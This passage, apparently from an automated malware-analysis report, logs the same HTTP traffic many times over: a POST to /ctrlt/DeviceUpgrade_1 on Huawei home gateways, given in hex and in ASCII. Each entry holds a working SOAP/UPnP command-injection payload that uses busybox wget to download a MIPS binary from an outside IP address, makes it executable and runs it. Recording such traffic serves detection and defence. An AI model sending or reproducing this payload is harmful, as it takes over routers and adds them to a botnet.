6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
